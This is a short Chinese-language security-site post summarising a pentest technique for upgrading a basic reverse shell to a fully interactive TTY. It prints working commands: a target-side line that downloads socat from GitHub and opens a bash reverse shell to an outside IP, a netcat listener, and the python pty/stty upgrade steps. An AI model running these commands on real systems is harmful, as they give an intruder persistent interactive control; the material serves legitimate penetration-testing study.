标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-39]   作者: fan_renlei 发表于: [2017-07-10]

本文共 [585] 位读者顶过

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

这篇文章,作者分享了一个实用的pentest技巧,将简单shell转换到完全交互式shell(支持history,tab,job控制等等),让在命令行下的hacking的过程体验更好。

[出自:jiwo.org]

第一种方法,直接用静态编译的socat,或者系统自带的

本地机器:
socat file:`tty`,raw,echo=0 tcp-listen:4444  

目标机器:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

第二种方法 ,利用stty (更实用):

$ sudo nc -lvp 80

当获取到反弹的shell后,依次执行

$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color


评论

暂无
发表评论
 返回顶部 
热度(585)
 关注微信